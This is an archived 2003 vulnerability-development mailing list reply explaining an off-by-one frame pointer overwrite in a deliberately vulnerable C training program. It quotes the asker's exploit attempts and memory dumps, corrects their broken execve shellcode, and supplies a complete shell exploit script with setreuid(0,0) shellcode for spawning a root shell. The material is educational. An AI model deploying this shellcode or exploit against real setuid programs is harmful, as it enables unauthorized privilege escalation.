Vulnerability Development mailing list archives

Re: Frame Pointer Overwriting


From: Joel Eriksson <je-vulndev () bitnux com>
Date: Sat, 24 May 2003 12:40:05 +0200

On Fri, May 23, 2003 at 10:24:59AM -0700, mike cramp wrote:
Hey guys, 

I'm having some trouble with frame pointer overwriting, and I was
wondering if anyone could shed any light on this.

First of all, here is the vulnerable program:

mikecc@darkstar frame $ cat vuln_6.c 
/* Is It Vulnerable!? you sure? check again! */
/* 
 * bob.dtors.net
 *   
 *  ---------------------------------------------------
 *  Dtors Security Research (DSR)
 *  Code by: bob
 *  Mail: bob () dtors net
 *  ---------------------------------------------------
 * 
 * Build it and exploit it
 * show us the exploitation log and get extra rights !!  
 *
 *
 * Is It Vulnerable!? you sure? check again!
 * -- this code was taken from bobs person homepage
 * http://it.dtors.net
*/


#include <stdio.h>
#include <string.h>
#define SIZE 256

void bob(char *ptr) {
        char buffer[SIZE];
        strncpy(buffer, ptr, SIZE+1); 
printf("buffer is at %p\n",buffer);
      {
        int a,b;
      for (a=b=0;a<=SIZE;a++,b+=3) {
         if (b!=0 && !(b%26)) printf("\n");
         printf("%02x ", (unsigned char)buffer[a]);
      }
      printf("\n");
   }
}

int main(int argc, char **argv, char **envp) {
   if (argc < 2)
   {
   fprintf(stdout, "bob () dtors net\n");
   exit(1);
   }
   bob(argv[1]);
   return 0;
}
mikecc@darkstar frame $ 

Now, I can exploit this if I store the shellcode in the environment:

mikecc@darkstar frame $ ./6 `perl -e 'print "\xd0\xfd\xff\xbf"x64 .
"\x00"'`
buffer is at 0xbffff4a8
d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd 
ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf 
d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd 
ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf 
d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd 
ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf 
d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd 
ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf 
d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd 
ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf 00 
sh-2.05b$ 

But, I do not understand how to find the overflow byte, or why this one
works: \x00 

Well, what exactly is happening when you overwrite the least significant
byte of the saved frame pointer on a little-endian arch? If you actually
thought about it, it would be obvious. main()'s stack frame will be shifted
"backwards" (if X > Y) with X-Y bytes where X is the original LSB of main()'s
frame pointer and Y is the overflow-byte.

Y = 0 will obviously shift the frame with the largest value possible,
minimum 0 (if X = 0x00) and max 255 (if X = 0xff). Using Y = 0 will thus
maximize the chances of hitting the buffer, as long as X-Y > the distance
between main()'s stackframe and the buffer in bob().

Now since I am researching a remote frame pointer overwrite, I need to
learn how to store the exploit string in the command line:


mikecc@darkstar frame $ ./6 `perl -e 'print
"\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\xe3\x52\x53\x89\xe1\xcd\x80\x90\x90" . 
"\x63\xf9\xff\xbf"x58 . "\x09"'`
buffer is at 0xbffff6a8
6a 0b 58 99 52 68 6e 2f 73 68 68 2f 2f 62 69 e3 52 53 89 e1 cd 80 90 90 63 f9 
ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 
63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 
ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 
63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 
ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 
63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 
ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 
63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 
ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 00 
Illegal instruction (core dumped)
mikecc@darkstar frame $ 

When I open up the core dump, I check ebp:

(gdb) i reg ebp
ebp            0xbffff963       0xbffff963
(gdb) 

Now since I cannot copy and paste weird ASCII characters in Evolution, I
do:

x/s $ebp

and it shows my shellcode.  Why is this not executing a shell?

To begin with, that shellcode looks pretty weird.

[je@vudo ~]$ cat>shellcode.c<<EOF
char main[] = "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\xe3\x52\x53\x89\xe1\xcd\x80";
EOF
[je@vudo ~]$ gcc -o shellcode shellcode.c
[je@vudo ~]$ ./shellcode
Segmentation fault (core dumped)
[je@vudo ~]$ objdump -D shellcode 2>&1 | sed -n '/<main>/,/\t\.\.\./p'
08049390 <main>:
 8049390:       6a 0b                   push   $0xb
 8049392:       58                      pop    %eax
 8049393:       99                      cltd   
 8049394:       52                      push   %edx
 8049395:       68 6e 2f 73 68          push   $0x68732f6e
 804939a:       68 2f 2f 62 69          push   $0x69622f2f
 804939f:       e3 52                   jecxz  80493f3 <_DYNAMIC+0x47>
 80493a1:       53                      push   %ebx
 80493a2:       89 e1                   mov    %esp,%ecx
 80493a4:       cd 80                   int    $0x80
        ...
[je@vudo ~]$

Oops, that doesn't look like valid shellcode, does it? What is that jecxz
supposed to do there...? But, if we insert a \x89 right before the \xe3, it
should work. Then the jecxz 80493f3 turns into a mov %esp,%ebx followed by
a push %edx, which will serve your purposes better.

Btw, since the address of buffer is printed to stdout, why don't you use it?
Here's an ugly exploit for it where the program is first run to find out the
address of the buffer.  You'll have to enter the addr yourself, since the
address is printed to the buffered stdout and it will coredump before the
output is flushed if we pipe it to for instance 'sed'. Of course, this can
be worked around, but why bother..

cat > vuln6-xpl.sh << 'EOF'
#!/bin/sh
#
# Linux/x86 exploit for vuln_6 @ dtors.net
#
# 2003-05-24 - Joel Eriksson (je at 0xbadc0ded.org)
#

[ $# -gt 1 ] && prog=$1 || prog=./6

shellcode=`
        # setreuid(0, 0)
        printf "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
        # execve("/bin/sh", "/bin/sh", NULL)
        printf "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
        printf "\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
`

$prog `perl -e 'print "A"x256'`
echo -n "buffer is at? "
read addr
exec $prog `perl -e '
        my $s = '"'$shellcode'"' . ("A" x (4 - length('"'$shellcode'"') % 4));
        print $s . (pack("L", '$addr') x ((256 - length($s)) / 4));
'`
EOF

Thanks,

Mike

-- 
Joel Eriksson <je () mensa se>
-------------------------------------------------
Cellphone: +46-70-288 64 16 Home: +46-26-10 23 37
Security Research & Systems Development at Bitnux
PGP Key Server pgp.mit.edu, PGP Key ID 0x529FDBD1
A615 A1E1 3CA2 D7C2 CFEA 47B4 7EF7 E6B2 529F DBD1
-------------------------------------------------

Attachment: _bin
Description:


Current thread: